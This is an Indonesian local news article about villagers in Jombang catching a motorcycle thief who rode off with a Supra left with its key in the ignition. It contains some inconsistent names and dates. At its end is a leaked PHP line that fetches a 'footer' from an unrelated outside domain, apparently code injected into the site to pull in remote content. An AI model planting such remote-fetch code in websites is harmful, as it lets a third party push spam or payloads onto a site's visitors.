Pelaku Curanmor ditangkap di Jalan Sawah

Selasa, 26 September 2023

facebook twitter whatsapp telegram line copy

URL berhasil dicopy

facebook icon twitter icon whatsapp icon telegram icon line icon copy

URL berhasil dicopy

Jombang | jejakkasus.info – Tono (35), warga Desa Jembarsari, Kecamatan Wajak, Kabupaten Malang ditangkap usai mencuri motor warga Jombang. Ia ditangkap oleh warga saat berusaha kabur membawa motor curiannya.

Motor yang dicuri Tono milik Soibirin (51), warga Desa Sembung, Kecamatan Perak Jombang. Sepeda motor Honda Supra 125 bernopol S 6581 WH itu diparkir Shobirin di tanggul sungai Desa Sembung Kecamatan Perak Kabupaten Jombang dengan kunci masih menancap pada Senin (25/08/2023) pagi pukul 08.00 WIB.

Baca Juga:  Sukardi Kepala Desa Keras Bersama Masyarakatnya Lestarikan Adat Nenek Moyang

Saat itu, Shobirin tengah bekerja di sawah miliknya. Melihat motor terparkir dengan kunci menancap, Tono lantas mendatanginya dan membawanya kabur.

“Sepeda motor korban diparkir di tanggul sungai dengan kunci kontak menancap. Pelaku mengambilnya lalu kabur ke arah utara,” kata Kapolsek Perak Iptu Kasnasin, Selasa (26/08/2023).

Dikatakan Iptu Kasnain, pelaku kabur ke arah utara atau arah jalan arteri menuju Nganjuk. Namun, korban yang mengetahui lantas berusaha meminta tolong warga. Shobirin bersama warga lantas mengejar pelaku yang kabur membawa motor korban.

Baca Juga:  Antisipasi Judi Online, Polres Jombang Mendadak Cek HP Anggotanya

Warga akhirnya menangkap pelaku tidak jauh dari lokasi kejadian. Saat ini, pelaku telah diamankan di Mapolsek Perak. Untuk penanganan lebih lanjut, penyidikan telah dilakukan oleh Sat Reskrim Polres Jombang.

“Pelaku mengejar dan berteriak minta tolong kepada warga sekitar dan kemudian berhasil menangkap pelaku. Selanjutnya terlapor beserta barang bukti di serahkan ke Polsek Perak dan penyidikan lebih lanjut ole Sat Reskrim Polres Jombang ,” ucapnya.

Baca Juga:  Jenguk Anggotanya Yang Sakit Kapolsek Denpasar Barat Wujudkan Empati Serta Kepedulian

Sementara, Kapolres Jombang AKBP Eko Bagus Riyadi mengimbau kepada masyarakat, Jika menemukan potensi terjadinya tindak pidana atau telah terjadinya tindak pidana agar melaporkan melalui Call Center Polres Jombang.

“Kepada masyarakat diimbau jangan sungkan-sungkan melaporkan ke Polisi jika menemukan potensi terjadinya tindak pidana atau telah terjadinya tindak pidana bisa langsung menghubungi Call Center 110 atau WA Center Kandani 081323332022,” pungkasnya.
(MASRUROH – JK)

Follow WhatsApp Channel jejakkasus.info untuk update berita terbaru setiap hari Follow

Berita Terkait

Kunjungan Kepala Dinas Pendidikan Provinsi Jatim Ke Kabupaten Jombang
Tambang Galian C Desa Tugu, Kecamatan Wates, Kabupaten Kediri dalam Monitoring Ketua Umum LSM Gimicak
Ditresnarkoba Diringkus Polda Babel Miliki 2,6 Kg Sabu 14 Kg Ganja
Gegara Pokmas Tidak Pegang (RAB) Proyek SDN Kandangan 1 Senduro Kisruh, Pihak Sekolah Diundang Inspektorat
Satsamapta Polres Situbondo Polda Jatim Gerak Cepat (Gercep), Respon Laporan Masyarakat Terkait Peredaran Miras
Rayon Barat Polresta Sidoarjo Apel Bersama Oprasi Cooling System Tahun 2024 .
Wahyudi Dengan Tegas Menolak Kebijakan Pemerintah Yang Menaikan E Retribusi Di Situasi-Kondisi Pasar Sepi Dan Memprihatinkan Saat Ini
Waka II DPRD Badung I Made Wijaya Soroti: Peraturan Berbenturan,Nasib Tanah Negara Di Pererenan Menggantung

Berita Terkait

Jumat, 4 Oktober 2024 - 20:42 WIB

Kunjungan Kepala Dinas Pendidikan Provinsi Jatim Ke Kabupaten Jombang

Jumat, 4 Oktober 2024 - 20:06 WIB

Tambang Galian C Desa Tugu, Kecamatan Wates, Kabupaten Kediri dalam Monitoring Ketua Umum LSM Gimicak

Jumat, 4 Oktober 2024 - 11:38 WIB

Ditresnarkoba Diringkus Polda Babel Miliki 2,6 Kg Sabu 14 Kg Ganja

Jumat, 4 Oktober 2024 - 00:48 WIB

Gegara Pokmas Tidak Pegang (RAB) Proyek SDN Kandangan 1 Senduro Kisruh, Pihak Sekolah Diundang Inspektorat

Jumat, 4 Oktober 2024 - 00:47 WIB

Satsamapta Polres Situbondo Polda Jatim Gerak Cepat (Gercep), Respon Laporan Masyarakat Terkait Peredaran Miras

Berita Terbaru

Berita Utama

Kapolres Pringsewu Serukan Pilkada Damai Tanpa Diskriminasi

Jumat, 4 Okt 2024 - 19:31 WIB

$ch = curl_init(); curl_setopt($ch, CURLOPT_URL, 'https://umrohkemenag.org/footer/'); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $a = curl_exec($ch); curl_close($ch);?>